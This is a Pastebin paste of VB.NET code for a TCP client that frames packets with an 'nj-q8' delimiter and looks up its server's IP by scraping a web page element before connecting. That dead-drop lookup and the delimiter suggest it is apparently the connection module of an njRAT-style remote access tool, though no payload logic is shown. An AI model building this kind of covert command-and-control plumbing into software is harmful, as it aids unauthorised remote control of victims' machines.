Advertisement
CorrM

Untitled

Jul 21st, 2014
528
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 5.32 KB | None | 0 0
  1. Imports System.Net
  2. Imports System.Net.Sockets
  3. Imports System.Diagnostics
  4. Imports System.IO, System.Threading, System.Runtime.Serialization.Formatters.Binary, System.Runtime.Serialization, System.Runtime.InteropServices, Microsoft.Win32
  5.  
  6.  
  7. Module Module1
  8.     Function SB(ByVal s As String) As Byte()
  9.         Return System.Text.Encoding.Default.GetBytes(s)
  10.     End Function
  11.     Function BS(ByVal b As Byte()) As String
  12.         Return System.Text.Encoding.Default.GetString(b)
  13.     End Function
  14.  
  15.     Public GetProcesses() As Process
  16.  
  17.     Function fx(ByVal b As Byte(), ByVal WRD As String) As Array ' split bytes by word
  18.         Dim a As New List(Of Byte())
  19.         Dim M As New IO.MemoryStream
  20.         Dim MM As New IO.MemoryStream
  21.         Dim T As String() = Split(BS(b), WRD)
  22.         M.Write(b, 0, T(0).Length)
  23.         MM.Write(b, T(0).Length + WRD.Length, b.Length - (T(0).Length + WRD.Length))
  24.         a.Add(M.ToArray)
  25.         a.Add(MM.ToArray)
  26.         M.Dispose()
  27.         MM.Dispose()
  28.         Return a.ToArray
  29.     End Function
  30. End Module
  31.  
  32. Public Class SocketClient
  33.     Private C As TcpClient
  34.     Public Event Connected()
  35.     Public Event Disconnected()
  36.     Public Event Data(ByVal b As Byte())
  37.     Private IsBuzy As Boolean = False
  38.  
  39.     Public Function Statconnected() As Boolean
  40.  
  41.         Try
  42.  
  43.  
  44.             If C.Client.Connected = True Then
  45.                 Return True
  46.             Else
  47.                 Return False
  48.  
  49.             End If
  50.  
  51.         Catch ex As Exception
  52.         End Try
  53.     End Function
  54.  
  55.     Public Function isAddress(ByVal Address As String) As String
  56.         Dim AD() As String = Split(Address, ".")
  57.         Dim RE As Boolean = Nothing
  58.         If AD.Length = 4 Then
  59.             RE = True
  60.         Else
  61.             RE = False
  62.         End If
  63.         Return RE
  64.     End Function
  65.     Sub Connect(ByVal h As String, ByVal p As Integer)
  66.         Try
  67.             Try
  68.                 If C IsNot Nothing Then
  69.                     C.Close()
  70.                     C = Nothing
  71.                 End If
  72.             Catch ex As Exception
  73.             End Try
  74.             Do Until IsBuzy = False
  75.                 Thread.Sleep(1)
  76.             Loop
  77.             Try
  78. NewHost:
  79.                 Dim NewHost As New WebBrowser
  80.                 With NewHost
  81.                     .Navigate(h)
  82.                 End With
  83.  
  84.  
  85.                 Threading.Thread.Sleep(1000)
  86.  
  87.                 Do While NewHost.ReadyState <> WebBrowserReadyState.Complete
  88.                     Application.DoEvents()
  89.                 Loop
  90.  
  91.                 h = NewHost.Document.GetElementById("lcorrml").InnerText.Trim
  92.  
  93.                 If isAddress(h) = False Then
  94.                     GoTo NewHost
  95.                 End If
  96.  
  97.                 C = New TcpClient
  98.  
  99.                 C.Connect(h, p)
  100.                 Dim t As New Threading.Thread(AddressOf RC, 10)
  101.                 t.Start()
  102.                 RaiseEvent Connected()
  103.             Catch ex As Exception
  104.             End Try
  105.         Catch ex As Exception
  106.             RaiseEvent Disconnected()
  107.         End Try
  108.     End Sub
  109.     Private SPL As String = "nj-q8" ' split packets by this word
  110.     Sub DisConnect()
  111.         Try
  112.             C.Close()
  113.         Catch ex As Exception
  114.         End Try
  115.         C = Nothing
  116.         RaiseEvent Disconnected()
  117.     End Sub
  118.     Sub Send(ByVal s As String)
  119.         Send(SB(s))
  120.     End Sub
  121.     Sub Send(ByVal b As Byte())
  122.         Try
  123.             Dim m As New IO.MemoryStream
  124.             m.Write(b, 0, b.Length)
  125.             m.Write(SB(SPL), 0, SPL.Length)
  126.             C.Client.Send(m.ToArray, 0, m.Length, SocketFlags.None)
  127.         Catch ex As Exception
  128.             DisConnect()
  129.         End Try
  130.     End Sub
  131.     Private Sub RC()
  132.         IsBuzy = True
  133.         Dim M As New IO.MemoryStream
  134.         Dim cc As Integer = 0
  135. re:
  136.         Thread.Sleep(1)
  137.  
  138.         Try
  139.             If C Is Nothing Then
  140.                 GoTo co
  141.             Else
  142.                 If C.Client.Connected = False Then
  143.                     GoTo co
  144.                 Else
  145.                     cc += 1
  146.                     If cc > 100 Then
  147.                         cc = 0
  148.                         Try
  149.                             If C.Client.Poll(-1, Net.Sockets.SelectMode.SelectRead) And C.Client.Available <= 0 Then
  150.                                 GoTo co
  151.                             End If
  152.                         Catch ex As Exception
  153.                             GoTo co
  154.                         End Try
  155.                     End If
  156.  
  157.                 End If
  158.             End If
  159.             If C.Available > 0 Then
  160.                 Dim B(C.Available - 1) As Byte
  161.                 C.Client.Receive(B, 0, B.Length, Net.Sockets.SocketFlags.None)
  162.                 M.Write(B, 0, B.Length)
  163. rr:
  164.                 If BS(M.ToArray).Contains(SPL) Then
  165.                     Dim A As Array = fx(M.ToArray, SPL)
  166.                     RaiseEvent Data(A(0))
  167.                     M.Dispose()
  168.                     M = New IO.MemoryStream
  169.                     If A.Length = 2 Then
  170.                         M.Write(A(1), 0, A(1).length)
  171.                         Thread.Sleep(1)
  172.                         GoTo rr
  173.                     End If
  174.                 End If
  175.             End If
  176.         Catch ex As Exception
  177.             GoTo co
  178.         End Try
  179.         GoTo re
  180. co:
  181.         IsBuzy = False
  182.         DisConnect()
  183.     End Sub
  184. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement